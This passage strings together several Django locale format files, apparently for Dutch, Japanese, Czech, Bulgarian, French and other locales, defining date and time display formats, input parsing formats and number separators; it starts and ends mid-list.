DATETIME_INPUT_FORMATS = [
    # With time in %H:%M:%S :
    '%d-%m-%Y %H:%M:%S', '%d-%m-%y %H:%M:%S', '%Y-%m-%d %H:%M:%S',
    # '20-01-2009 15:23:35', '20-01-09 15:23:35', '2009-01-20 15:23:35'
    '%d/%m/%Y %H:%M:%S', '%d/%m/%y %H:%M:%S', '%Y/%m/%d %H:%M:%S',
    # '20/01/2009 15:23:35', '20/01/09 15:23:35', '2009/01/20 15:23:35'
    # '%d %b %Y %H:%M:%S', '%d %b %y %H:%M:%S',   # '20 jan 2009 15:23:35', '20 jan 09 15:23:35'
    # '%d %B %Y %H:%M:%S', '%d %B %y %H:%M:%S',   # '20 januari 2009 15:23:35', '20 januari 2009 15:23:35'
    # With time in %H:%M:%S.%f :
    '%d-%m-%Y %H:%M:%S.%f', '%d-%m-%y %H:%M:%S.%f', '%Y-%m-%d %H:%M:%S.%f',
    # '20-01-2009 15:23:35.000200', '20-01-09 15:23:35.000200', '2009-01-20 15:23:35.000200'
    '%d/%m/%Y %H:%M:%S.%f', '%d/%m/%y %H:%M:%S.%f', '%Y/%m/%d %H:%M:%S.%f',
    # '20/01/2009 15:23:35.000200', '20/01/09 15:23:35.000200', '2009/01/20 15:23:35.000200'
    # With time in %H.%M:%S :
    '%d-%m-%Y %H.%M:%S', '%d-%m-%y %H.%M:%S',   # '20-01-2009 15.23:35', '20-01-09 15.23:35'
    '%d/%m/%Y %H.%M:%S', '%d/%m/%y %H.%M:%S',   # '20/01/2009 15.23:35', '20/01/09 15.23:35'
    # '%d %b %Y %H.%M:%S', '%d %b %y %H.%M:%S',   # '20 jan 2009 15.23:35', '20 jan 09 15.23:35'
    # '%d %B %Y %H.%M:%S', '%d %B %y %H.%M:%S',   # '20 januari 2009 15.23:35', '20 januari 2009 15.23:35'
    # With time in %H.%M:%S.%f :
    '%d-%m-%Y %H.%M:%S.%f', '%d-%m-%y %H.%M:%S.%f',   # '20-01-2009 15.23:35.000200', '20-01-09 15.23:35.000200'
    '%d/%m/%Y %H.%M:%S.%f', '%d/%m/%y %H.%M:%S.%f',   # '20/01/2009 15.23:35.000200', '20/01/09 15.23:35.000200'
    # With time in %H:%M :
    '%d-%m-%Y %H:%M', '%d-%m-%y %H:%M', '%Y-%m-%d %H:%M',   # '20-01-2009 15:23', '20-01-09 15:23', '2009-01-20 15:23'
    '%d/%m/%Y %H:%M', '%d/%m/%y %H:%M', '%Y/%m/%d %H:%M',   # '20/01/2009 15:23', '20/01/09 15:23', '2009/01/20 15:23'
    # '%d %b %Y %H:%M', '%d %b %y %H:%M',         # '20 jan 2009 15:23', '20 jan 09 15:23'
    # '%d %B %Y %H:%M', '%d %B %y %H:%M',         # '20 januari 2009 15:23', '20 januari 2009 15:23'
    # With time in %H.%M :
    '%d-%m-%Y %H.%M', '%d-%m-%y %H.%M',         # '20-01-2009 15.23', '20-01-09 15.23'
    '%d/%m/%Y %H.%M', '%d/%m/%y %H.%M',         # '20/01/2009 15.23', '20/01/09 15.23'
    # '%d %b %Y %H.%M', '%d %b %y %H.%M',         # '20 jan 2009 15.23', '20 jan 09 15.23'
    # '%d %B %Y %H.%M', '%d %B %y %H.%M',         # '20 januari 2009 15.23', '20 januari 2009 15.23'
    # Without time :
    '%d-%m-%Y', '%d-%m-%y', '%Y-%m-%d',         # '20-01-2009', '20-01-09', '2009-01-20'
    '%d/%m/%Y', '%d/%m/%y', '%Y/%m/%d',         # '20/01/2009', '20/01/09', '2009/01/20'
    # '%d %b %Y', '%d %b %y',                     # '20 jan 2009', '20 jan 09'
    # '%d %B %Y', '%d %B %y',                     # '20 januari 2009', '20 januari 2009'
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'Y年n月j日'                # 2016年9月5日
TIME_FORMAT = 'H:i'                     # 20:45
DATETIME_FORMAT = 'Y年n月j日 H:i'        # 2016年9月5日 20:45
YEAR_MONTH_FORMAT = 'Y年n月'             # 2016年9月
MONTH_DAY_FORMAT = 'm月j日'              # 9月5日
SHORT_DATE_FORMAT = 'Y年n月j日'          # 2016年9月5日
SHORT_DATETIME_FORMAT = 'Y年n月j日 H:i'  # 2016年9月5日 20:45
FIRST_DAY_OF_WEEK = 1                   # 星期一 (Monday)

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%Y/%m/%d',     # '2016/09/05'
    '%Y-%m-%d',     # '2016-09-05'
    '%Y年%n月%j日',  # '2016年9月5日'
]

TIME_INPUT_FORMATS = [
    '%H:%M',        # '20:45'
    '%H:%M:%S',     # '20:45:29'
    '%H:%M:%S.%f',  # '20:45:29.000200'
]

DATETIME_INPUT_FORMATS = [
    '%Y/%m/%d %H:%M',           # '2016/09/05 20:45'
    '%Y-%m-%d %H:%M',           # '2016-09-05 20:45'
    '%Y年%n月%j日 %H:%M',        # '2016年9月5日 14:45'
    '%Y/%m/%d %H:%M:%S',        # '2016/09/05 20:45:29'
    '%Y-%m-%d %H:%M:%S',        # '2016-09-05 20:45:29'
    '%Y年%n月%j日 %H:%M:%S',     # '2016年9月5日 20:45:29'
    '%Y/%m/%d %H:%M:%S.%f',     # '2016/09/05 20:45:29.000200'
    '%Y-%m-%d %H:%M:%S.%f',     # '2016-09-05 20:45:29.000200'
    '%Y年%n月%j日 %H:%n:%S.%f',  # '2016年9月5日 20:45:29.000200'
]

DECIMAL_SEPARATOR = '.'
THOUSAND_SEPARATOR = ''
NUMBER_GROUPING = 4












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j. E Y'
TIME_FORMAT = 'G:i'
DATETIME_FORMAT = 'j. E Y G:i'
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j. F'
SHORT_DATE_FORMAT = 'd.m.Y'
SHORT_DATETIME_FORMAT = 'd.m.Y G:i'
FIRST_DAY_OF_WEEK = 1  # Monday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%d.%m.%Y', '%d.%m.%y',     # '05.01.2006', '05.01.06'
    '%d. %m. %Y', '%d. %m. %y',  # '5. 1. 2006', '5. 1. 06'
    # '%d. %B %Y', '%d. %b. %Y',  # '25. October 2006', '25. Oct. 2006'
]
# Kept ISO formats as one is in first position
TIME_INPUT_FORMATS = [
    '%H:%M:%S',  # '04:30:59'
    '%H.%M',    # '04.30'
    '%H:%M',    # '04:30'
]
DATETIME_INPUT_FORMATS = [
    '%d.%m.%Y %H:%M:%S',    # '05.01.2006 04:30:59'
    '%d.%m.%Y %H:%M:%S.%f',  # '05.01.2006 04:30:59.000200'
    '%d.%m.%Y %H.%M',       # '05.01.2006 04.30'
    '%d.%m.%Y %H:%M',       # '05.01.2006 04:30'
    '%d.%m.%Y',             # '05.01.2006'
    '%d. %m. %Y %H:%M:%S',  # '05. 01. 2006 04:30:59'
    '%d. %m. %Y %H:%M:%S.%f',  # '05. 01. 2006 04:30:59.000200'
    '%d. %m. %Y %H.%M',     # '05. 01. 2006 04.30'
    '%d. %m. %Y %H:%M',     # '05. 01. 2006 04:30'
    '%d. %m. %Y',           # '05. 01. 2006'
    '%Y-%m-%d %H.%M',       # '2006-01-05 04.30'
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '\xa0'  # non-breaking space
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j E Y г.'
TIME_FORMAT = 'G:i'
DATETIME_FORMAT = 'j E Y г. G:i'
YEAR_MONTH_FORMAT = 'F Y г.'
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'd.m.Y'
SHORT_DATETIME_FORMAT = 'd.m.Y H:i'
FIRST_DAY_OF_WEEK = 1  # Monday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%d.%m.%Y',  # '25.10.2006'
    '%d.%m.%y',  # '25.10.06'
]
DATETIME_INPUT_FORMATS = [
    '%d.%m.%Y %H:%M:%S',     # '25.10.2006 14:30:59'
    '%d.%m.%Y %H:%M:%S.%f',  # '25.10.2006 14:30:59.000200'
    '%d.%m.%Y %H:%M',        # '25.10.2006 14:30'
    '%d.%m.%Y',              # '25.10.2006'
    '%d.%m.%y %H:%M:%S',     # '25.10.06 14:30:59'
    '%d.%m.%y %H:%M:%S.%f',  # '25.10.06 14:30:59.000200'
    '%d.%m.%y %H:%M',        # '25.10.06 14:30'
    '%d.%m.%y',              # '25.10.06'
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '\xa0'  # non-breaking space
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j F Y'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = 'j F Y H:i'
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'j N Y'
SHORT_DATETIME_FORMAT = 'j N Y H:i'
FIRST_DAY_OF_WEEK = 1  # Monday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%d/%m/%Y', '%d/%m/%y',  # '25/10/2006', '25/10/06'
    '%d.%m.%Y', '%d.%m.%y',  # Swiss [fr_CH), '25.10.2006', '25.10.06'
    # '%d %B %Y', '%d %b %Y', # '25 octobre 2006', '25 oct. 2006'
]
DATETIME_INPUT_FORMATS = [
    '%d/%m/%Y %H:%M:%S',     # '25/10/2006 14:30:59'
    '%d/%m/%Y %H:%M:%S.%f',  # '25/10/2006 14:30:59.000200'
    '%d/%m/%Y %H:%M',        # '25/10/2006 14:30'
    '%d/%m/%Y',              # '25/10/2006'
    '%d.%m.%Y %H:%M:%S',     # Swiss [fr_CH), '25.10.2006 14:30:59'
    '%d.%m.%Y %H:%M:%S.%f',  # Swiss (fr_CH), '25.10.2006 14:30:59.000200'
    '%d.%m.%Y %H:%M',        # Swiss (fr_CH), '25.10.2006 14:30'
    '%d.%m.%Y',              # Swiss (fr_CH), '25.10.2006'
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '\xa0'  # non-breaking space
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = r'j N Y'
TIME_FORMAT = r'H:i'
DATETIME_FORMAT = r'j N Y H:i'
YEAR_MONTH_FORMAT = r'F Y'
MONTH_DAY_FORMAT = r'j \d\e F'
SHORT_DATE_FORMAT = r'd/m/Y'
SHORT_DATETIME_FORMAT = r'd/m/Y H:i'
FIRST_DAY_OF_WEEK = 0  # 0: Sunday, 1: Monday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%d/%m/%Y',  # '31/12/2009'
    '%d/%m/%y',  # '31/12/09'
]
DATETIME_INPUT_FORMATS = [
    '%d/%m/%Y %H:%M:%S',
    '%d/%m/%Y %H:%M:%S.%f',
    '%d/%m/%Y %H:%M',
    '%d/%m/%y %H:%M:%S',
    '%d/%m/%y %H:%M:%S.%f',
    '%d/%m/%y %H:%M',
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = r'Yeko M\re\n d\a'
TIME_FORMAT = 'H:i'
# DATETIME_FORMAT =
# YEAR_MONTH_FORMAT =
# MONTH_DAY_FORMAT =
SHORT_DATE_FORMAT = 'Y M j'
# SHORT_DATETIME_FORMAT =
# FIRST_DAY_OF_WEEK =

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
# NUMBER_GROUPING =












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
from __future__ import unicode_literals

DATE_FORMAT = 'j. F Y'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = 'j. F Y H:i'
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j. F'
SHORT_DATE_FORMAT = 'd.m.Y'
SHORT_DATETIME_FORMAT = 'd.m.Y H:i'
FIRST_DAY_OF_WEEK = 1  # Monday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%d.%m.%Y', '%d.%m.%y',     # '25.10.2006', '25.10.06'
    # '%d. %B %Y', '%d. %b. %Y',  # '25. October 2006', '25. Oct. 2006'
]
DATETIME_INPUT_FORMATS = [
    '%d.%m.%Y %H:%M:%S',    # '25.10.2006 14:30:59'
    '%d.%m.%Y %H:%M:%S.%f',  # '25.10.2006 14:30:59.000200'
    '%d.%m.%Y %H:%M',       # '25.10.2006 14:30'
    '%d.%m.%Y',             # '25.10.2006'
]

# these are the separators for non-monetary numbers. For monetary numbers,
# the DECIMAL_SEPARATOR is a . (decimal point) and the THOUSAND_SEPARATOR is a
# ' (single quote).
# For details, please refer to http://www.bk.admin.ch/dokumentation/sprachen/04915/05016/index.html?lang=de
# (in German) and the documentation
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '\xa0'  # non-breaking space
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j. N Y.'
TIME_FORMAT = 'G:i'
DATETIME_FORMAT = 'j. N. Y. G:i T'
YEAR_MONTH_FORMAT = 'F Y.'
MONTH_DAY_FORMAT = 'j. F'
SHORT_DATE_FORMAT = 'Y M j'
# SHORT_DATETIME_FORMAT =
# FIRST_DAY_OF_WEEK =

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
# NUMBER_GROUPING =












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j F Y'
TIME_FORMAT = 'G:i'
DATETIME_FORMAT = 'j F Y, G:i'
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'j M Y'
SHORT_DATETIME_FORMAT = 'j M Y, G:i'
# FIRST_DAY_OF_WEEK =

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
DECIMAL_SEPARATOR = '.'
THOUSAND_SEPARATOR = ','
# NUMBER_GROUPING =












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j M Y'                   # '25 Oct 2006'
TIME_FORMAT = 'P'                       # '2:30 p.m.'
DATETIME_FORMAT = 'j M Y, P'            # '25 Oct 2006, 2:30 p.m.'
YEAR_MONTH_FORMAT = 'F Y'               # 'October 2006'
MONTH_DAY_FORMAT = 'j F'                # '25 October'
SHORT_DATE_FORMAT = 'd/m/Y'             # '25/10/2006'
SHORT_DATETIME_FORMAT = 'd/m/Y P'       # '25/10/2006 2:30 p.m.'
FIRST_DAY_OF_WEEK = 0                   # Sunday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%d/%m/%Y', '%d/%m/%y',             # '25/10/2006', '25/10/06'
    # '%b %d %Y', '%b %d, %Y',          # 'Oct 25 2006', 'Oct 25, 2006'
    # '%d %b %Y', '%d %b, %Y',          # '25 Oct 2006', '25 Oct, 2006'
    # '%B %d %Y', '%B %d, %Y',          # 'October 25 2006', 'October 25, 2006'
    # '%d %B %Y', '%d %B, %Y',          # '25 October 2006', '25 October, 2006'
]
DATETIME_INPUT_FORMATS = [
    '%Y-%m-%d %H:%M:%S',                # '2006-10-25 14:30:59'
    '%Y-%m-%d %H:%M:%S.%f',             # '2006-10-25 14:30:59.000200'
    '%Y-%m-%d %H:%M',                   # '2006-10-25 14:30'
    '%Y-%m-%d',                         # '2006-10-25'
    '%d/%m/%Y %H:%M:%S',                # '25/10/2006 14:30:59'
    '%d/%m/%Y %H:%M:%S.%f',             # '25/10/2006 14:30:59.000200'
    '%d/%m/%Y %H:%M',                   # '25/10/2006 14:30'
    '%d/%m/%Y',                         # '25/10/2006'
    '%d/%m/%y %H:%M:%S',                # '25/10/06 14:30:59'
    '%d/%m/%y %H:%M:%S.%f',             # '25/10/06 14:30:59.000200'
    '%d/%m/%y %H:%M',                   # '25/10/06 14:30'
    '%d/%m/%y',                         # '25/10/06'
]
DECIMAL_SEPARATOR = '.'
THOUSAND_SEPARATOR = ','
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j. E Y'
TIME_FORMAT = 'G.i'
DATETIME_FORMAT = r'j. E Y \k\e\l\l\o G.i'
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j. F'
SHORT_DATE_FORMAT = 'j.n.Y'
SHORT_DATETIME_FORMAT = 'j.n.Y G.i'
FIRST_DAY_OF_WEEK = 1  # Monday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%d.%m.%Y',  # '20.3.2014'
    '%d.%m.%y',  # '20.3.14'
]
DATETIME_INPUT_FORMATS = [
    '%d.%m.%Y %H.%M.%S',     # '20.3.2014 14.30.59'
    '%d.%m.%Y %H.%M.%S.%f',  # '20.3.2014 14.30.59.000200'
    '%d.%m.%Y %H.%M',        # '20.3.2014 14.30'
    '%d.%m.%Y',              # '20.3.2014'

    '%d.%m.%y %H.%M.%S',     # '20.3.14 14.30.59'
    '%d.%m.%y %H.%M.%S.%f',  # '20.3.14 14.30.59.000200'
    '%d.%m.%y %H.%M',        # '20.3.14 14.30'
    '%d.%m.%y',              # '20.3.14'
]
TIME_INPUT_FORMATS = [
    '%H.%M.%S',     # '14.30.59'
    '%H.%M.%S.%f',  # '14.30.59.000200'
    '%H.%M',        # '14.30'
]

DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '\xa0'  # Non-breaking space
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j. F Y.'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = 'j. F Y. H:i'
YEAR_MONTH_FORMAT = 'F Y.'
MONTH_DAY_FORMAT = 'j. F'
SHORT_DATE_FORMAT = 'j.m.Y.'
SHORT_DATETIME_FORMAT = 'j.m.Y. H:i'
FIRST_DAY_OF_WEEK = 1

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%d.%m.%Y.', '%d.%m.%y.',       # '25.10.2006.', '25.10.06.'
    '%d. %m. %Y.', '%d. %m. %y.',   # '25. 10. 2006.', '25. 10. 06.'
    # '%d. %b %y.', '%d. %B %y.',     # '25. Oct 06.', '25. October 06.'
    # '%d. %b \'%y.', '%d. %B \'%y.', # '25. Oct '06.', '25. October '06.'
    # '%d. %b %Y.', '%d. %B %Y.',     # '25. Oct 2006.', '25. October 2006.'
]
DATETIME_INPUT_FORMATS = [
    '%d.%m.%Y. %H:%M:%S',       # '25.10.2006. 14:30:59'
    '%d.%m.%Y. %H:%M:%S.%f',    # '25.10.2006. 14:30:59.000200'
    '%d.%m.%Y. %H:%M',          # '25.10.2006. 14:30'
    '%d.%m.%Y.',                # '25.10.2006.'
    '%d.%m.%y. %H:%M:%S',       # '25.10.06. 14:30:59'
    '%d.%m.%y. %H:%M:%S.%f',    # '25.10.06. 14:30:59.000200'
    '%d.%m.%y. %H:%M',          # '25.10.06. 14:30'
    '%d.%m.%y.',                # '25.10.06.'
    '%d. %m. %Y. %H:%M:%S',     # '25. 10. 2006. 14:30:59'
    '%d. %m. %Y. %H:%M:%S.%f',  # '25. 10. 2006. 14:30:59.000200'
    '%d. %m. %Y. %H:%M',        # '25. 10. 2006. 14:30'
    '%d. %m. %Y.',              # '25. 10. 2006.'
    '%d. %m. %y. %H:%M:%S',     # '25. 10. 06. 14:30:59'
    '%d. %m. %y. %H:%M:%S.%f',  # '25. 10. 06. 14:30:59.000200'
    '%d. %m. %y. %H:%M',        # '25. 10. 06. 14:30'
    '%d. %m. %y.',              # '25. 10. 06.'
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'd F Y'
TIME_FORMAT = 'H:i'
# DATETIME_FORMAT =
# YEAR_MONTH_FORMAT =
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'd.m.Y'
# SHORT_DATETIME_FORMAT =
# FIRST_DAY_OF_WEEK =

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = ' '  # Non-breaking space
# NUMBER_GROUPING =












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

DATE_FORMAT = r'j \d\e F \d\e Y'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = r'j \d\e F \d\e Y \a \l\a\s H:i'
YEAR_MONTH_FORMAT = r'F \d\e Y'
MONTH_DAY_FORMAT = r'j \d\e F'
SHORT_DATE_FORMAT = 'd/m/Y'
SHORT_DATETIME_FORMAT = 'd/m/Y H:i'
FIRST_DAY_OF_WEEK = 1
DATE_INPUT_FORMATS = [
    '%d/%m/%Y', '%d/%m/%y',  # '25/10/2006', '25/10/06'
    '%Y%m%d',                # '20061025'

]
DATETIME_INPUT_FORMATS = [
    '%d/%m/%Y %H:%M:%S',
    '%d/%m/%Y %H:%M:%S.%f',
    '%d/%m/%Y %H:%M',
    '%d/%m/%y %H:%M:%S',
    '%d/%m/%y %H:%M:%S.%f',
    '%d/%m/%y %H:%M',
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j. F Y.'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = 'j. F Y. H:i'
YEAR_MONTH_FORMAT = 'F Y.'
MONTH_DAY_FORMAT = 'j. F'
SHORT_DATE_FORMAT = 'j.m.Y.'
SHORT_DATETIME_FORMAT = 'j.m.Y. H:i'
FIRST_DAY_OF_WEEK = 1

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%d.%m.%Y.', '%d.%m.%y.',       # '25.10.2006.', '25.10.06.'
    '%d. %m. %Y.', '%d. %m. %y.',   # '25. 10. 2006.', '25. 10. 06.'
    # '%d. %b %y.', '%d. %B %y.',     # '25. Oct 06.', '25. October 06.'
    # '%d. %b \'%y.', '%d. %B \'%y.', # '25. Oct '06.', '25. October '06.'
    # '%d. %b %Y.', '%d. %B %Y.',     # '25. Oct 2006.', '25. October 2006.'
]
DATETIME_INPUT_FORMATS = [
    '%d.%m.%Y. %H:%M:%S',       # '25.10.2006. 14:30:59'
    '%d.%m.%Y. %H:%M:%S.%f',    # '25.10.2006. 14:30:59.000200'
    '%d.%m.%Y. %H:%M',          # '25.10.2006. 14:30'
    '%d.%m.%Y.',                # '25.10.2006.'
    '%d.%m.%y. %H:%M:%S',       # '25.10.06. 14:30:59'
    '%d.%m.%y. %H:%M:%S.%f',    # '25.10.06. 14:30:59.000200'
    '%d.%m.%y. %H:%M',          # '25.10.06. 14:30'
    '%d.%m.%y.',                # '25.10.06.'
    '%d. %m. %Y. %H:%M:%S',     # '25. 10. 2006. 14:30:59'
    '%d. %m. %Y. %H:%M:%S.%f',  # '25. 10. 2006. 14:30:59.000200'
    '%d. %m. %Y. %H:%M',        # '25. 10. 2006. 14:30'
    '%d. %m. %Y.',              # '25. 10. 2006.'
    '%d. %m. %y. %H:%M:%S',     # '25. 10. 06. 14:30:59'
    '%d. %m. %y. %H:%M:%S.%f',  # '25. 10. 06. 14:30:59.000200'
    '%d. %m. %y. %H:%M',        # '25. 10. 06. 14:30'
    '%d. %m. %y.',              # '25. 10. 06.'
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j בF Y'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = 'j בF Y H:i'
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j בF'
SHORT_DATE_FORMAT = 'd/m/Y'
SHORT_DATETIME_FORMAT = 'd/m/Y H:i'
# FIRST_DAY_OF_WEEK =

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
DECIMAL_SEPARATOR = '.'
THOUSAND_SEPARATOR = ','
# NUMBER_GROUPING =












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j. F Y'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = 'j. F Y H:i'
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j. F'
SHORT_DATE_FORMAT = 'd.m.Y'
SHORT_DATETIME_FORMAT = 'd.m.Y H:i'
FIRST_DAY_OF_WEEK = 1  # Monday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# Kept ISO formats as they are in first position
DATE_INPUT_FORMATS = [
    '%Y-%m-%d', '%d.%m.%Y', '%d.%m.%y',  # '2006-10-25', '25.10.2006', '25.10.06'
    # '%d. %b %Y', '%d %b %Y',            # '25. okt 2006', '25 okt 2006'
    # '%d. %b. %Y', '%d %b. %Y',          # '25. okt. 2006', '25 okt. 2006'
    # '%d. %B %Y', '%d %B %Y',            # '25. oktober 2006', '25 oktober 2006'
]
DATETIME_INPUT_FORMATS = [
    '%Y-%m-%d %H:%M:%S',     # '2006-10-25 14:30:59'
    '%Y-%m-%d %H:%M:%S.%f',  # '2006-10-25 14:30:59.000200'
    '%Y-%m-%d %H:%M',        # '2006-10-25 14:30'
    '%Y-%m-%d',              # '2006-10-25'
